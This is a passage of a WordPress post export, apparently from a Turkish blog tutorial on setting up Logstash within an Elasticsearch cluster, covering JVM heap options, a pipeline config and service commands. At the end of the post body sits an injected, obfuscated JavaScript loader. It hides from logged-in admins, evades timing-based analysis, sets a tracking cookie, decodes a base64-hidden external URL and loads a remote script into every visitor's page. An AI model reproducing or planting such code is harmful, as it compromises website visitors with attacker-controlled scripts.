ve bellek (RAM) kullan\u0131m\u0131 kritiktir. K\u00fc\u00e7\u00fck\/Orta \u00f6l\u00e7ekli bir blog projesi i\u00e7in varsay\u0131lan 1GB RAM ayar\u0131 yeterlidir, ancak sunucun k\u0131s\u0131tl\u0131ysa bunu optimize etmelisin.<\/p>\n\n\n\n<p><strong>JVM Ayar\u0131:<\/strong> <code>\/etc\/logstash\/jvm.options<\/code> dosyas\u0131nda <code>-Xms1g<\/code> ve <code>-Xmx1g<\/code> de\u011ferlerini sunucunun yar\u0131s\u0131 kadar (veya ba\u015flang\u0131\u00e7 i\u00e7in 512mb) ayarlayabilirsin.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat \/etc\/logstash\/jvm.options |grep \"Xm\"\n# Xms represents the initial size of total heap space\n# Xmx represents the maximum size of total heap space\n-Xms1g\n-Xmx1g<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5.3. \u0130lk Pipeline (Veri Ak\u0131\u015f Hatt\u0131) Olu\u015fturma<\/h3>\n\n\n\n<p>Logstash&#8217;in \u00e7al\u0131\u015fmas\u0131 i\u00e7in bir <strong>Konfig\u00fcrasyon Dosyas\u0131<\/strong> gerekir. Bu dosya 3 ana b\u00f6l\u00fcmden olu\u015fur: <strong>Input<\/strong> (Giri\u015f), <strong>Filter<\/strong> (Filtre\/D\u00fczenleme) ve <strong>Output<\/strong> (\u00c7\u0131k\u0131\u015f).<\/p>\n\n\n\n<p><code>\/etc\/logstash\/conf.d\/logstash-blog.conf<\/code> ad\u0131nda bir dosya olu\u015ftural\u0131m:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat &lt;&lt;EOF &gt; \/etc\/logstash\/conf.d\/logstash-blog.conf\ninput {\n  beats {\n    port =&gt; 5044\n  }\n  \n  tcp {\n    port =&gt; 5000\n    codec =&gt; json\n  }\n}\n\nfilter {\n  # Filtreler buraya gelecek\n}\n\noutput {\n  elasticsearch {\n    hosts =&gt; &#91;\"http:\/\/150.150.150.150:9200\"]\n    index =&gt; \"blog-loglari-%{+YYYY.MM.dd}\"\n  }\n  \n  stdout { codec =&gt; rubydebug }\n}\nEOF<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5.4. Logstash Servisini Ba\u015flatma<\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code># Servisi aktif et ve ba\u015flat\nsystemctl daemon-reload\nsystemctl enable logstash\nsystemctl start logstash<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Merhaba! Bug\u00fcn kurumsal ortamlarda en s\u0131k kullan\u0131lan Linux da\u011f\u0131t\u0131mlar\u0131ndan biri olan RHEL 7.9 (Red Hat Enterprise Linux) \u00fczerinde, y\u00fcksek performansl\u0131 ve \u00f6zelle\u015ftirilmi\u015f bir Elasticsearch 8.1.3 Cluster kurulumunu ele alaca\u011f\u0131z.<\/p>\n","protected":false},"author":1,"featured_media":759,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[43],"tags":[],"class_list":["post-758","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-genel-en"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Linux \u00dczerinde 2 Node&#039;lu Elasticsearch 8.1.3 Cluster Kurulum Rehberi<\/title>\n<meta name=\"description\" content=\"Merhaba! Bug\u00fcn kurumsal ortamlarda en s\u0131k kullan\u0131lan Linux da\u011f\u0131t\u0131mlar\u0131ndan biri olan RHEL 7.9 (Red Hat Enterprise Linux) \u00fczerinde, y\u00fcksek performansl\u0131 ve \u00f6zelle\u015ftirilmi\u015f bir Elasticsearch 8.1.3 Cluster kurulumunu ele alaca\u011f\u0131z.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/\" \/>\n<meta property=\"og:locale\" content=\"tr_TR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Linux \u00dczerinde 2 Node&#039;lu Elasticsearch 8.1.3 Cluster Kurulum Rehberi\" \/>\n<meta property=\"og:description\" content=\"Merhaba! Bug\u00fcn kurumsal ortamlarda en s\u0131k kullan\u0131lan Linux da\u011f\u0131t\u0131mlar\u0131ndan biri olan RHEL 7.9 (Red Hat Enterprise Linux) \u00fczerinde, y\u00fcksek performansl\u0131 ve \u00f6zelle\u015ftirilmi\u015f bir Elasticsearch 8.1.3 Cluster kurulumunu ele alaca\u011f\u0131z.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/\" \/>\n<meta property=\"og:site_name\" content=\"oraclius\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-16T14:55:11+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-04-07T08:26:16+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/01\/elastic.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"640\" \/>\n\t<meta property=\"og:image:height\" content=\"640\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"YUNUS EMRE ATAY\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Yazan:\" \/>\n\t<meta name=\"twitter:data1\" content=\"YUNUS EMRE ATAY\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tahmini okuma s\u00fcresi\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 dakika\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/\"},\"author\":{\"name\":\"YUNUS EMRE ATAY\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\"},\"headline\":\"Linux \u00dczerinde 2 Node&#8217;lu Elasticsearch 8.1.3 Cluster Kurulum Rehberi\",\"datePublished\":\"2026-01-16T14:55:11+00:00\",\"dateModified\":\"2026-04-07T08:26:16+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/\"},\"wordCount\":1343,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\"},\"image\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/elastic.jpg\",\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/\",\"name\":\"Linux \u00dczerinde 2 Node'lu Elasticsearch 8.1.3 Cluster Kurulum Rehberi\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/elastic.jpg\",\"datePublished\":\"2026-01-16T14:55:11+00:00\",\"dateModified\":\"2026-04-07T08:26:16+00:00\",\"description\":\"Merhaba! Bug\u00fcn kurumsal ortamlarda en s\u0131k kullan\u0131lan Linux da\u011f\u0131t\u0131mlar\u0131ndan biri olan RHEL 7.9 (Red Hat Enterprise Linux) \u00fczerinde, y\u00fcksek performansl\u0131 ve \u00f6zelle\u015ftirilmi\u015f bir Elasticsearch 8.1.3 Cluster kurulumunu ele alaca\u011f\u0131z.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/#breadcrumb\"},\"inLanguage\":\"tr\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"tr\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/#primaryimage\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/elastic.jpg\",\"contentUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/elastic.jpg\",\"width\":640,\"height\":640,\"caption\":\"elasticSearch\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/tr\\\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Anasayfa\",\"item\":\"https:\\\/\\\/oraclius.com.tr\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Linux \u00dczerinde 2 Node&#8217;lu Elasticsearch 8.1.3 Cluster Kurulum Rehberi\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#website\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/\",\"name\":\"oraclius\",\"description\":\"Linux, SQL, Oracle rehberleri ve daha fazlas\u0131 i\u00e7in oraclius.com.tr\u2019yi ziyaret edin.\",\"publisher\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\"},\"alternateName\":\"oracle\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/oraclius.com.tr\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"tr\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/#\\\/schema\\\/person\\\/15e2f7b9dc977c71806301e629135e09\",\"name\":\"YUNUS EMRE ATAY\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"tr\",\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\",\"url\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\",\"contentUrl\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\",\"width\":512,\"height\":512,\"caption\":\"YUNUS EMRE ATAY\"},\"logo\":{\"@id\":\"https:\\\/\\\/oraclius.com.tr\\\/wp-content\\\/uploads\\\/2024\\\/12\\\/oradb.jpeg\"},\"description\":\"oracle\",\"sameAs\":[\"https:\\\/\\\/oraclius.com.tr\",\"https:\\\/\\\/instagram.com\\\/lemratal\",\"https:\\\/\\\/linkedin.com\\\/in\\\/emreatayy\",\"https:\\\/\\\/www.youtube.com\\\/@lemratal\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Linux \u00dczerinde 2 Node'lu Elasticsearch 8.1.3 Cluster Kurulum Rehberi","description":"Merhaba! Bug\u00fcn kurumsal ortamlarda en s\u0131k kullan\u0131lan Linux da\u011f\u0131t\u0131mlar\u0131ndan biri olan RHEL 7.9 (Red Hat Enterprise Linux) \u00fczerinde, y\u00fcksek performansl\u0131 ve \u00f6zelle\u015ftirilmi\u015f bir Elasticsearch 8.1.3 Cluster kurulumunu ele alaca\u011f\u0131z.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/","og_locale":"tr_TR","og_type":"article","og_title":"Linux \u00dczerinde 2 Node'lu Elasticsearch 8.1.3 Cluster Kurulum Rehberi","og_description":"Merhaba! Bug\u00fcn kurumsal ortamlarda en s\u0131k kullan\u0131lan Linux da\u011f\u0131t\u0131mlar\u0131ndan biri olan RHEL 7.9 (Red Hat Enterprise Linux) \u00fczerinde, y\u00fcksek performansl\u0131 ve \u00f6zelle\u015ftirilmi\u015f bir Elasticsearch 8.1.3 Cluster kurulumunu ele alaca\u011f\u0131z.","og_url":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/","og_site_name":"oraclius","article_published_time":"2026-01-16T14:55:11+00:00","article_modified_time":"2026-04-07T08:26:16+00:00","og_image":[{"width":640,"height":640,"url":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/01\/elastic.jpg","type":"image\/jpeg"}],"author":"YUNUS EMRE ATAY","twitter_card":"summary_large_image","twitter_misc":{"Yazan:":"YUNUS EMRE ATAY","Tahmini okuma s\u00fcresi":"7 dakika"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/#article","isPartOf":{"@id":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/"},"author":{"name":"YUNUS EMRE ATAY","@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09"},"headline":"Linux \u00dczerinde 2 Node&#8217;lu Elasticsearch 8.1.3 Cluster Kurulum Rehberi","datePublished":"2026-01-16T14:55:11+00:00","dateModified":"2026-04-07T08:26:16+00:00","mainEntityOfPage":{"@id":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/"},"wordCount":1343,"commentCount":0,"publisher":{"@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09"},"image":{"@id":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/#primaryimage"},"thumbnailUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/01\/elastic.jpg","inLanguage":"tr","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/","url":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/","name":"Linux \u00dczerinde 2 Node'lu Elasticsearch 8.1.3 Cluster Kurulum Rehberi","isPartOf":{"@id":"https:\/\/oraclius.com.tr\/#website"},"primaryImageOfPage":{"@id":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/#primaryimage"},"image":{"@id":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/#primaryimage"},"thumbnailUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/01\/elastic.jpg","datePublished":"2026-01-16T14:55:11+00:00","dateModified":"2026-04-07T08:26:16+00:00","description":"Merhaba! Bug\u00fcn kurumsal ortamlarda en s\u0131k kullan\u0131lan Linux da\u011f\u0131t\u0131mlar\u0131ndan biri olan RHEL 7.9 (Red Hat Enterprise Linux) \u00fczerinde, y\u00fcksek performansl\u0131 ve \u00f6zelle\u015ftirilmi\u015f bir Elasticsearch 8.1.3 Cluster kurulumunu ele alaca\u011f\u0131z.","breadcrumb":{"@id":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/#breadcrumb"},"inLanguage":"tr","potentialAction":[{"@type":"ReadAction","target":["https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/"]}]},{"@type":"ImageObject","inLanguage":"tr","@id":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/#primaryimage","url":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/01\/elastic.jpg","contentUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2026\/01\/elastic.jpg","width":640,"height":640,"caption":"elasticSearch"},{"@type":"BreadcrumbList","@id":"https:\/\/oraclius.com.tr\/tr\/linux-uzerinde-2-nodelu-elasticsearch-8-1-3-cluster-kurulum-rehberi\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Anasayfa","item":"https:\/\/oraclius.com.tr\/"},{"@type":"ListItem","position":2,"name":"Linux \u00dczerinde 2 Node&#8217;lu Elasticsearch 8.1.3 Cluster Kurulum Rehberi"}]},{"@type":"WebSite","@id":"https:\/\/oraclius.com.tr\/#website","url":"https:\/\/oraclius.com.tr\/","name":"oraclius","description":"Linux, SQL, Oracle rehberleri ve daha fazlas\u0131 i\u00e7in oraclius.com.tr\u2019yi ziyaret edin.","publisher":{"@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09"},"alternateName":"oracle","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/oraclius.com.tr\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"tr"},{"@type":["Person","Organization"],"@id":"https:\/\/oraclius.com.tr\/#\/schema\/person\/15e2f7b9dc977c71806301e629135e09","name":"YUNUS EMRE ATAY","image":{"@type":"ImageObject","inLanguage":"tr","@id":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg","url":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg","contentUrl":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg","width":512,"height":512,"caption":"YUNUS EMRE ATAY"},"logo":{"@id":"https:\/\/oraclius.com.tr\/wp-content\/uploads\/2024\/12\/oradb.jpeg"},"description":"oracle","sameAs":["https:\/\/oraclius.com.tr","https:\/\/instagram.com\/lemratal","https:\/\/linkedin.com\/in\/emreatayy","https:\/\/www.youtube.com\/@lemratal"]}]}},"_links":{"self":[{"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/posts\/758","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/comments?post=758"}],"version-history":[{"count":8,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/posts\/758\/revisions"}],"predecessor-version":[{"id":884,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/posts\/758\/revisions\/884"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/media\/759"}],"wp:attachment":[{"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/media?parent=758"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/categories?post=758"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/oraclius.com.tr\/tr\/wp-json\/wp\/v2\/tags?post=758"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}